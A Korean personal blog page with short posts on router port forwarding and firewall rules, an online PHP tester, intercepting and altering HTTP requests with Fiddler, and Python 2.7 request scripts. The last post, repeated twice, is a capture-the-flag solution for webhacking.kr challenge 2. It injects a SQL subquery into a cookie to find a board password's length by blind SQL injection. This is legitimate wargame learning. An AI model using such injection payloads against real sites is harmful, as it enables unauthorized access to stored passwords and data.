공유기를 이용해 인터넷을 사용하는 경우
고정 IP가 아닌 공유기가 할당해주는 IP를 쓴다.
그로 인해 서버를 운영하고 싶은 경우 포트포워딩을 설정해줘야한다.
예를 들어 111.11.11.11의 IP주소를 공유기가 가지고 있으면(이게 외부 IP)
공유기에 연결된 pc는 192.0.0.1이라는 IP주소를 공유기에게 할당받게 된다. 이를 내부 IP라고 한다.
이 경우에!! 111.11.11.11의 주소로 client가 접속하게 되면 공유기에 연결이 되지, 공유기에 연결된 pc의 서버에 연결이 되지 않다 ㅠㅠㅠㅠ
포트포워딩이란 외부 IP의 특정 포트로 클라이언트가 접속시 공유기가 특정 내부IP를 가진 pc의 서버로 연결해준다.
예를 들어 111.11.11.11:80(외부IP) <=> 192.0.0.1:80(내부IP) 이런식으로 포트포워딩을 할 수 있는데 만약 외부IP의 80번 포트로 데이터가 들어오면 공유기는 바로 192.0.0.1이라는 IP를 가진 pc의 80번 포트로 데이터를 보내준다는 것이다.
본론으로 들어가 포트포워딩을 하려면 공유기 IP를 주소창에 입력해주면 설정 창이 뜬다. 거기서 설정에 들어가 입력해주면 되는데 이건 구글링하면 엄청 많이 나오므로 생략한다. 문제는 이렇게 했음에도 불구하고 핸드폰으로 111.11.11.11:80을 들어가도 내 pc의 서버에 접속이 되지 않는 경우가 발생했다...
열심히 찾아본 결과!!! 공유기에서 특정포트로 데이터를 보내준다 해도 내 pc의 방화벽이 그 포트로의 데이터 출입을 막고있는 것이었다. 즉 pc의 방화벽도 설정을 바꿔줘야 한다.
이는 구글에 방화벽 인바운드 설정을 검색하면 상세히 설명되있다.
링크 : http://m.blog.naver.com/zeboll/20132849369
Post List
2017년 7월 12일 수요일
2017년 7월 11일 화요일
PHPTESTER 온라인으로 php를 짜볼 수 있는 사이트!
http://phptester.net/
직접 php와 서버를 깔필요없이 온라인 상으로 바로바로 결과를 확인할 수 있다.
직접 php와 서버를 깔필요없이 온라인 상으로 바로바로 결과를 확인할 수 있다.
2017년 7월 10일 월요일
http 통신을 감독할 수 있는 Fiddler (트래픽 캡쳐 프로그램)
Fiddler 다운 링크 :
https://fiddler.kr.uptodown.com/windows
데이터 보는 방법 :
1. 먼저 F12 를 눌러 capture traffic 동작을 시작한다. 동작이 진행되면 위 그림 처럼 Capturing 이라고 왼쪽 아래에 텍스트가 뜬다.
2. 그 후 오른쪽 화면에 Log, Filters, Timeline, Statistics, Inspectors 등등 여러 탭이 있는데 거기서 Inspectors 탭에 들어간다.
3. 탭에 들어가게 되면 바로 아래에 또 Headers, TextView, SyntaxView 등 여러 탭이 생기는데 거기서 Raw 탭에 들어긴다.
4. 바로 아래 연한 파란색 화면에 뜬 것이 프로토콜의 데이터이다.
위를 통해 프로토콜에 대해서 공부할 수도 있으며 웹 크롤러를 만들 때 필요한 쿠키 정보나 여러 http의 헤더정보를 위 프로그램을 통해 손쉽게 얻을 수 있어 편리하다.
breaking point 잡는 2가지 방법 :
1. 상단 메뉴중에 Rules(규칙) 메뉴를 클릭하고 하위 메뉴에서 Automatic Breakpoints클릭, Before Requests 를 선택한다.
2. F11을 누른다. ( breakpoints를 해체 하려면 shift + F11을 누르면 된다.)
breakpoints를 잡으면 위 그림처럼 좌측 하단에 이상한 빨간 아이콘이 뜨게 되니 참고한다.
데이터 값을 변조하는 방법 :
breakpoints를 잡고 나면 모든 트래픽(http 형식으로 서버에 데이터를 요청 하는 것)들이 피들러에 의해 중단된다.
그러면 사용자가 1.에서 설명한 Inspectors/Raw 탭에 들어가 데이터 값들을 수정할 수 있다.
수정이 다 끝난 후 화면 중간에 Run to complete이라는 초록색 버튼을 누르면 트래픽이 정상적으로 서버로 보내진다.
https://fiddler.kr.uptodown.com/windows
Fiddler
피들러는 http 통신이 pc내에서 오고가는 것을 모두 그대로 보여주는 프로그램이다. 단순히 통신이 오고가는 것(트래픽)을 보는 용도로 쓸 수 있지만 아래와 같은 용도로도 사용할 수 있다.1. http traffic 캡처기능을 통해 프로토콜의 형식을 알아볼 수 있다.
예전에 c++의 소켓 프로그래밍으로 직접 http 통신을 하려 했었다. 프로토콜의 방식과 원리를 알려주는 블로그나 싸이트들은 많았지만 정확한 프로토콜의 형식, 어떤 데이터를 어떤 문법에 맞춰 보내야하는지 자세히 나온 글을 찾아보기가 매우 힘들었다. Fiddler는 웹사이트의 서버로 제출되는 http의 데이터를 직접적으로 보여주기 때문에 소켓 프로그래밍을 작성하는데 많은 도움이 됐다.데이터 보는 방법 :
1. 먼저 F12 를 눌러 capture traffic 동작을 시작한다. 동작이 진행되면 위 그림 처럼 Capturing 이라고 왼쪽 아래에 텍스트가 뜬다.
2. 그 후 오른쪽 화면에 Log, Filters, Timeline, Statistics, Inspectors 등등 여러 탭이 있는데 거기서 Inspectors 탭에 들어간다.
3. 탭에 들어가게 되면 바로 아래에 또 Headers, TextView, SyntaxView 등 여러 탭이 생기는데 거기서 Raw 탭에 들어긴다.
4. 바로 아래 연한 파란색 화면에 뜬 것이 프로토콜의 데이터이다.
위를 통해 프로토콜에 대해서 공부할 수도 있으며 웹 크롤러를 만들 때 필요한 쿠키 정보나 여러 http의 헤더정보를 위 프로그램을 통해 손쉽게 얻을 수 있어 편리하다.
2. breaking point를 통해 request 요청전 데이터 값을 변조할 수 있다.
이 부분에서는 굳이 Fiddler로 변조를 하지 않고 파이썬의 urllib 모듈을 통해 직접 http의 데를 변경해 요청할 수 있다. 그치만 코드를 작성해야 한다는 번거로운 점이 있어 즉흥적으로 사용할 때 매우 유용한 기능이라 볼 수 있다.breaking point 잡는 2가지 방법 :
1. 상단 메뉴중에 Rules(규칙) 메뉴를 클릭하고 하위 메뉴에서 Automatic Breakpoints클릭, Before Requests 를 선택한다.
2. F11을 누른다. ( breakpoints를 해체 하려면 shift + F11을 누르면 된다.)
breakpoints를 잡으면 위 그림처럼 좌측 하단에 이상한 빨간 아이콘이 뜨게 되니 참고한다.
데이터 값을 변조하는 방법 :
breakpoints를 잡고 나면 모든 트래픽(http 형식으로 서버에 데이터를 요청 하는 것)들이 피들러에 의해 중단된다.
그러면 사용자가 1.에서 설명한 Inspectors/Raw 탭에 들어가 데이터 값들을 수정할 수 있다.
수정이 다 끝난 후 화면 중간에 Run to complete이라는 초록색 버튼을 누르면 트래픽이 정상적으로 서버로 보내진다.
[Python 2.7] 파이썬으로 웹의 이미지 가져오기
import urllib2
url = 'url입력'
cookie = 'cookie입력'
request = urllib2.Request(url, None, {'Host': 'Host 주소 입력', 'Cookie': cookie})
data = urllib2.urlopen(request).read()
f = open("img.jpg","wb")
f.write(str(data))
f.close()
---------------------------------------------------------------
여기서 image 파일을 오픈할 때 "w"가 아닌 binary write 형식인 "wb"를 써야한다!!
2017년 7월 9일 일요일
webhacking.kr 2번 문제 코드
일단 게시판의 비밀번호 길이를 구해보자.
import urllib2
import re
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
cookie = 'time=1492865588 and (select length(password) from FreeB0aRd)='
for i in range(2, 15) :
print(i)
add = '%d; PHPSESSID=세션아이디입력' % i
real_cookie = cookie + add
request = urllib2.Request(url, None, {'Host': 'webhacking.kr', 'Cookie': real_cookie})
data = urllib2.urlopen(request).read()
find = re.findall("<!--2070-01-01 09:00:01-->",data)
if find:
print("pw : %d") % i
break
f = open("response.html","w")
f.write(str(data))
f.close()
import urllib2
import re
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
cookie = 'time=1492865588 and (select length(password) from FreeB0aRd)='
for i in range(2, 15) :
print(i)
add = '%d; PHPSESSID=세션아이디입력' % i
real_cookie = cookie + add
request = urllib2.Request(url, None, {'Host': 'webhacking.kr', 'Cookie': real_cookie})
data = urllib2.urlopen(request).read()
find = re.findall("<!--2070-01-01 09:00:01-->",data)
if find:
print("pw : %d") % i
break
f = open("response.html","w")
f.write(str(data))
f.close()
피드 구독하기:
글 (Atom)